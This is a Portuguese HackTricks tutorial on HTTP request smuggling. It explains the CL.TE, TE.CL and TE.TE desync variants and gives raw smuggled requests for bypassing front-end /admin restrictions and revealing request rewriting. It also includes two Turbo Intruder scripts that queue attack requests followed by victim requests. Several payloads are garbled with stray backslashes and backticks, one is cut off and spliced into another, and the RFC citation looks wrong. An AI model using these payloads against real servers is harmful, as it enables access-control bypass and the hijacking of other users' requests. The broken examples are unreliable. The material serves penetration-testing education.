hacktricks/pentesting-web/http-request-smuggling/README.md

20 KiB

HTTP Request Smuggling / Ataque de Desincronização HTTP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

O que é

Essa vulnerabilidade ocorre quando uma desincronização entre proxies front-end e o servidor back-end permite que um atacante envie uma solicitação HTTP que será interpretada como uma única solicitação pelos proxies front-end (balanceador de carga / proxy reverso) e como 2 solicitações pelo servidor back-end.
Isso permite que um usuário modifique a próxima solicitação que chega ao servidor back-end depois dele.

Teoria

Especificação RFC (2161)

Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.

Content-Length

O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.

Transfer-Encoding: chunked

O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.
Chunked significa que dados grandes são enviados em uma série de partes.

Realidade

O front-end (um balanceador de carga / proxy reverso) processa o cabeçalho content-length ou o cabeçalho transfer-encoding e o servidor back-end processa o outro provocando uma desincronização entre os 2 sistemas.
Isso pode ser muito crítico, pois um atacante poderá enviar uma solicitação para o proxy reverso que será interpretada pelo servidor back-end como 2 solicitações diferentes. O perigo dessa técnica reside no fato de que o servidor back-end interpretará a 2ª solicitação injetada como se ela tivesse vindo do próximo cliente e a solicitação real desse cliente será parte da solicitação injetada.

Particularidades

Lembre-se de que no HTTP um caractere de nova linha é composto por 2 bytes:

  • Content-Length: Este cabeçalho usa um número decimal para indicar o número de bytes do corpo da solicitação. O corpo deve terminar no último caractere, uma nova linha não é necessária no final da solicitação.
  • Transfer-Encoding: Este cabeçalho usa no corpo um número hexadecimal para indicar o número de bytes do próximo chunk. O chunk deve terminar com uma nova linha, mas essa nova linha não é contada pelo indicador de comprimento. Este método de transferência deve terminar com um chunk de tamanho 0 seguido por 2 novas linhas: 0
  • Connection: Com base em minha experiência, é recomendável usar Connection: keep-alive na primeira solicitação do Request Smuggling.

Exemplos Básicos

Portanto, os ataques de request smuggling envolvem colocar tanto o cabeçalho Content-Length quanto o cabeçalho Transfer-Encoding em uma única solicitação HTTP e manipulá-los para que os servidores front-end e back-end processem a solicitação de maneira diferente. A maneira exata como isso é feito depende do comportamento dos dois servidores:

  • CL.TE: o servidor front-end usa o cabeçalho Content-Length e o servidor back-end usa o cabeçalho Transfer-Encoding.
  • TE.CL: o servidor front-end usa o cabeçalho Transfer-Encoding e o servidor back-end usa o cabeçalho Content-Length.
  • TE.TE: os servidores front-end e back-end suportam o cabeçalho Transfer-Encoding, mas um dos servidores pode ser induzido a não processá-lo, obfuscando o cabeçalho de alguma forma.

Vulnerabilidades CL.TE

Aqui, o servidor front-end usa o cabeçalho Content-Length e o servidor back-end usa o cabeçalho Transfer-Encoding. Podemos realizar um ataque simples de request smuggling da seguinte maneira:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Observe como o Content-Length indica que o corpo da solicitação tem 30 bytes de comprimento (lembre-se de que o HTTP usa uma nova linha, portanto, 2 bytes para cada nova linha), portanto, o proxy reverso enviará a solicitação completa para o back-end, e o back-end processará o cabeçalho Transfer-Encoding, deixando o GET /404 HTTP/1.1 como o início da próxima solicitação (aliás, a próxima solicitação será anexada a Foo:x<Next request starts here>).

Vulnerabilidades TE.CL

Aqui, o servidor front-end usa o cabeçalho Transfer-Encoding e o servidor back-end usa o cabeçalho Content-Length. Podemos realizar um ataque simples de request smuggling da seguinte maneira:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
``\ 7b\ GET /404 HTTP/1.1\ `Host: vulnerable-website

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Uma vez que o servidor front-end usa o cabeçalho Content-Length, ele encaminhará apenas parte desta solicitação, omitindo o 0. O servidor back-end usa o cabeçalho Transfer-Encoding, processa o primeiro fragmento e, em seguida, aguarda a chegada do próximo fragmento. Isso causará um atraso de tempo observável.

Às vezes, em vez de obter um tempo limite, você recebe uma solicitação ruim 400 do host final, como no seguinte cenário, onde um payload CL.TE é enviado:

E a resposta é um redirecionamento contendo um erro dentro do corpo, com até mesmo a versão do haproxy usada:

Encontrando vulnerabilidades TE.CL usando técnicas de temporização

Se uma aplicação for vulnerável à variante TE.CL de smuggling de solicitação, então enviar uma solicitação como a seguinte frequentemente causará um atraso de tempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Desde que o servidor front-end usa o cabeçalho Transfer-Encoding, ele encaminhará apenas parte desta solicitação, omitindo o X. O servidor back-end usa o cabeçalho Content-Length, espera mais conteúdo no corpo da mensagem e aguarda a chegada do conteúdo restante. Isso causará um atraso observável no tempo.

Sondagem de vulnerabilidades de solicitação HTTP Smuggling

Depois de descobrir que as técnicas de temporização estão funcionando, você precisa sondar se pode alterar as solicitações de outros clientes.
A maneira mais fácil de fazer isso é tentar envenenar suas próprias solicitações, fazer uma solicitação para / retornar um 404, por exemplo.
Nos Exemplos Básicos, já vimos exemplos CL.TE e TE.CL de como envenenar a solicitação de um cliente para solicitar /404, provocando uma resposta 404 quando o cliente estava solicitando qualquer outro recurso.

Notas

Algumas considerações importantes devem ser mantidas em mente ao tentar confirmar vulnerabilidades de solicitação de contrabando via interferência com outras solicitações:

  • A solicitação "ataque" e a solicitação "normal" devem ser enviadas para o servidor usando conexões de rede diferentes. Enviar ambas as solicitações pela mesma conexão não provará que a vulnerabilidade existe.
  • A solicitação "ataque" e a solicitação "normal" devem usar a mesma URL e nomes de parâmetros, na medida do possível. Isso ocorre porque muitos aplicativos modernos roteiam solicitações de front-end para diferentes servidores de back-end com base na URL e nos parâmetros. Usar a mesma URL e parâmetros aumenta a chance de que as solicitações sejam processadas pelo mesmo servidor de back-end, o que é essencial para que o ataque funcione.
  • Ao testar a solicitação "normal" para detectar qualquer interferência da solicitação "ataque", você está em uma corrida com qualquer outra solicitação que o aplicativo esteja recebendo ao mesmo tempo, incluindo aquelas de outros usuários. Você deve enviar a solicitação "normal" imediatamente após a solicitação "ataque". Se o aplicativo estiver ocupado, você poderá precisar realizar várias tentativas para confirmar a vulnerabilidade.
  • Em alguns aplicativos, o servidor front-end funciona como um balanceador de carga e encaminha solicitações para diferentes sistemas de back-end de acordo com algum algoritmo de balanceamento de carga. Se suas solicitações "ataque" e "normal" forem encaminhadas para diferentes sistemas de back-end, o ataque falhará. Esta é uma razão adicional pela qual você pode precisar tentar várias vezes antes que uma vulnerabilidade possa ser confirmada.
  • Se seu ataque tiver sucesso em interferir em uma solicitação subsequente, mas esta não foi a solicitação "normal" que você enviou para detectar a interferência, isso significa que outro usuário do aplicativo foi afetado por seu ataque. Se você continuar realizando o teste, isso poderá ter um efeito disruptivo em outros usuários e você deve ter cuidado.

Forçando via cabeçalhos hop-by-hop

Abusando dos cabeçalhos hop-by-hop, você pode indicar ao proxy para excluir o cabeçalho Content-Length ou Transfer-Encoding para que uma solicitação HTTP smuggling seja possível de ser abusada.

Connection: Content-Lentgh

Para mais informações sobre cabeçalhos hop-by-hop visite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abusando do HTTP Request Smuggling

Para burlar controles de segurança de front-end

Às vezes, os proxies de front-end executam algumas verificações de segurança. Você pode evitá-las abusando do HTTP Request Smuggling, pois será capaz de burlar as proteções. Por exemplo, neste exemplo, você não pode acessar /admin de fora e o proxy de front-end está verificando isso, mas este proxy não está verificando a solicitação incorporada:

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Revelando a reescrita de solicitação de front-end

Em muitas aplicações, o servidor de front-end realiza alguma reescrita de solicitações antes de encaminhá-las para o servidor de back-end, geralmente adicionando alguns cabeçalhos de solicitação adicionais.
Uma coisa comum a fazer é adicionar ao cabeçalho da solicitação X-Forwarded-For: <IP do cliente> ou algum cabeçalho semelhante para que o back-end saiba o IP do cliente.
Às vezes, se você pode encontrar quais novos valores são anexados à solicitação, pode ser capaz de burlar proteções e acessar informações/endpoint ocultos.

Para descobrir como o proxy está reescrevendo a solicitação, você precisa encontrar um parâmetro POST que o back-end refletirá em sua resposta. Em seguida, use este parâmetro como o último e use uma exploração como esta:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
``\ POST /search HTTP/1.1\ Host: vulnerable-website.com\ `Content-Type: application/x-www-form-urlencoded

Armando o HTTP Request Smuggling com a Desincronização de Resposta HTTP

Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la? Tente este outro método de exploração:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts do Turbo Intruder

CL.TE

De https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

A técnica TE.CL é uma técnica de smuggling que explora a diferença de implementação entre dois headers de transferência de codificação: Transfer-Encoding e Content-Length. Essa técnica é usada para enviar requisições HTTP maliciosas que podem ser interpretadas de forma diferente pelos servidores intermediários e pelo servidor de destino, resultando em comportamentos inesperados e potencialmente perigosos. A técnica TE.CL é uma das técnicas de HTTP Request Smuggling mais comuns e pode ser usada para realizar ataques de Account Takeover, Cross-Site Scripting (XSS), entre outros.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)

Mais informações

Imagem daqui.

Ferramentas

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥